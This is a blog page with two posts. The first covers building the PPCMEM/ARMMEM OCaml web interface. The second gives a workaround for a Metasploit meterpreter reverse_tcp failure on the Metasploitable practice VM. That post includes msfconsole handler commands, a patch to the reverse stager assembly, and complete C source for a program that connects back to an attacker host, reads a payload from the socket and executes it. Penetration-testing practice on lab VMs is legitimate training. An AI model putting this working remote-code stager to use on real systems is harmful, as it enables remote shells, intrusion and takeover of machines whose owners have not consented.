Thursday, December 8, 2011

Compiling the web interface of PPCMEM/ARMMEM

lwn.net just published an article by Paul McKenney introducing PPCMEM/ARMMEM. I downloaded and fixed up the source a bit to make it possible to build the web interface locally and uploaded it on github.

PPCMEM is implemented in Ocaml (the authors are from INRIA and the University of Cambridge) with two user interfaces on top: a curses interface and a web interface. The web interface is implemented by compiling the core Ocaml code into Javascript and adding a bit of hand written Javascript, CSS and HTML. All the heavy computation is done in the browser.

Web interface build dependencies:
Since Fedora doesn't have js_of_ocaml packaged and the ocaml-lwt package it comes with is too old. It's easier to install a separate Ocaml stack:
  1. yum-builddep ocaml-lwt
  2. Install the GODI Ocaml source distribution
  3. Setup a LOCALPATCHES directory for GODI and put this patch-01-libev-2.3.0 under /opt/godi/localpatches/godi/godi-lwt
  4. export PATH=/opt/godi/bin:$PATH
  5. godi_console -> Select godi_jsofcaml -> godi will automatically download and build the dependencies
On a Debian and friends, apt-get install js-of-ocaml should be enough.
Building and launching the web interface:
export JSLIBDIR=/opt/godi/lib/ocaml/pkg-lib/js_of_ocaml
export JSBINDIR=/opt/godi/bin
# to use the js-of-caml packaged on Debian:
# export JSLIBDIR=/usr/lib/ocaml/js_of_ocaml
# export JSBINDIR=/usr/bin
make TARGET=js JSLIBDIR=$JSLIBDIR JSBINDIR=$JSBINDIR depend_js jquery-1.6.1.js js
./pcmem-web

My modifications to the ppcmem-tarball.tar.gz tarball include:
  1. Retrieved ARM tests under src-arm/ and the missing web UI files url.js, handler.js and help.html from professor Peter Sewell's personal web directory
  2. Wrote a new simple server side component to serve the static files (ppcmem-web)
  3. The original Makefile assumed that js_of_ocaml/ is placed under ppcmem/ (yet doesn't bundle it, which is good ...). I added external js_of_ocaml support in an ugly hack.

Licensing wise, most of the code base in under 3 clause BSD with two modulers lincensed under LGPL plus linking exceptions. So it looks like there's nothing stopping Linux distributions from packaging this.

Monday, April 18, 2011

Metasploitable meterpreter SEGFAULT workaround

If you’re using Metasploitable (a VM designed to be easy to pwn) to practice your system cracking penetration testing skills and find that the linux/x86/meterpreter/reverse_tcp payloads doesn't seem to work, here’s a workaround:
  1. Download and extract con-recv-jmp.tar.bz2.
  2. Edit LHOST, LPORT in con-recv-jmp.c and run “make” to build the code.
    • The makefile uses “execstack -s” to mark con-recv-jmp as requiring an executable stack.
    • “execstack” is in the preflink package in Fedora.
  3. In msfconsole:

    msf > use exploit/multi/handler
    msf exploit(handler) > set LHOST 192.168.1.110
    msf exploit(handler) > exploit
  4. Copy con-recv-jmp to your Metasploitable VM and run it.

  5. You should now be getting meterpreter sessions.


For a more minimal change, the stager_sock_reverse.asm in the tarball contains this patch:
--- stager_sock_reverse.asm 2011-04-18 19:42:29.408172423 +0800
+++ con-recv-jmp/stager_sock_reverse.asm 2011-04-18 19:30:56.192643320 +0800
@@ -66,7 +66,7 @@
recv:
pop ebx
cdq
- mov dh, 0xc
+ mov dl, 0x64
mov al, 0x3
int 0x80
jmp ecx

The snippet above is issuing a read(2) system call, where %edx holds the number of bytes to read. The original code tries to read 0x0c * 256 = 3072 bytes which causes the read syscall to fail with -EFAULT on the 2.6.24-16-server kernel in Metasploitable. Even with the patch, you still must use: "setarch i386 -X ./stager_sock_reverse" to run the stager as it requires an executable stack.

con-recv-jmp.c (functionally equivalent to a patched stager_sock_reverse.asm in Metasploit) is pretty trivial:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <strings.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <errno.h>
#include <arpa/inet.h>

#define LHOST "192.168.1.110"

enum {
BUFSIZE = 4096,
LPORT = 4444,
STAGER_SIZE = 100,
};

int main(int argc, char **argv)
{
int sockfd;
struct sockaddr_in serveraddr;
char buf[BUFSIZE];

if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0)
fprintf(stderr, "socket failed: \"%s\"\n", strerror(errno));

bzero((char *) &serveraddr, sizeof(serveraddr));
serveraddr.sin_family = AF_INET;
serveraddr.sin_addr.s_addr = inet_addr(LHOST);
serveraddr.sin_port = htons(LPORT);

if (connect(sockfd, (const struct sockaddr*)&serveraddr, sizeof(serveraddr)) < 0)
fprintf(stderr, "connect failed: \"%s\"\n", strerror(errno));

if (read(sockfd, buf, STAGER_SIZE) < 0)
fprintf(stderr, "read failed: \"%s\"\n", strerror(errno));

if (1) {
/* The linux/x86/meterpreter 'stager' payload requires 'sockfd' to be in edi.
* We want to clobber edi and not have gcc restore it */
__asm__("movl %[sockfd],%%edi" : /* OUTPUT */ : /* INPUT */ [sockfd] "r" (sockfd) : /* CLOBBERS */);
((void(*)(void))buf)();
} else {
/* To disassemble the code, run 'udcli' from udis86 on 'stager' */
FILE *f = fopen("stager", "w");
fwrite(buf, STAGER_SIZE, 1, f);
fclose(f);
}
return 0;
}